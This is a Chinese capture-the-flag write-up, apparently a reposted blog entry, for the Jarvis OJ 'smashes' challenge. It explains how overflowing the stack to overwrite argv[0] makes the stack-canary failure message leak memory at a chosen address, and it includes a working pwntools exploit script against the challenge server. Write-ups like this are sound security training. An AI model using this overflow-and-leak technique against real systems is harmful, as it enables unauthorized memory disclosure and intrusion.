置之死地而后生——Stack Smashing Protector任意地址读

Jarvis OJ上面的一道题smashes

ida查看关键函数

置之死地而后生——Stack Smashing Protector任意地址读_第1张图片

查看byte_600d20的位置:

第一次是向栈上输入一个无限长的字符串,第二次是往flag附近写入,并且第二个输入字符将会覆盖flag

显然第一次输入触发栈溢出

置之死地而后生——Stack Smashing Protector任意地址读_第2张图片

开启了canary,关于绕过canary的思路主要有两种

一、泄露canary

二、利用canary检查失败后调用的___stack_chk_fail函数

这里利用__stack_chk_fail实现任意地址读。

gdb调试下进入___stack_chk_fail函数,再步入__GI__fortify_fail函数,可以看到这里执行了一个叫做__libc_message的函数

置之死地而后生——Stack Smashing Protector任意地址读_第3张图片

功能大概就是输出一些错误信息

其中当前程序的路径名是从argv[0]中取得的并存放在栈上,然后用类似于格式化字符串的方式进行拼接。

第一次输入的数据起始位置是0x7fffffffdfd0,而存放0x7fffffffe4de的栈上地址为0x7fffffffe1e8,只要输入足够长,是可以覆盖__libc_message的参数的,从而把我们覆盖的地址位置的数据打印出来。


from pwn import *

p=remote('pwn.jarvisoj.com',9877)

p.recvuntil("What's your name?")

p.sendline('A'*536+p64(0x400d20))

#gdb.attach(p,'b* 0x00000000004008A9')

p.recvuntil('Please overwrite the flag:')

p.sendline('')

print p.recvuntil('Thank you, bye!')

print p.recv()

#raw_input()


PS:这里叕有个坑,原本说好了存在bss里的flag被清掉了。。。gdb搜索相关字符串发现在0x400d20还有一个备份。。。

你可能感兴趣的:(置之死地而后生——Stack Smashing Protector任意地址读)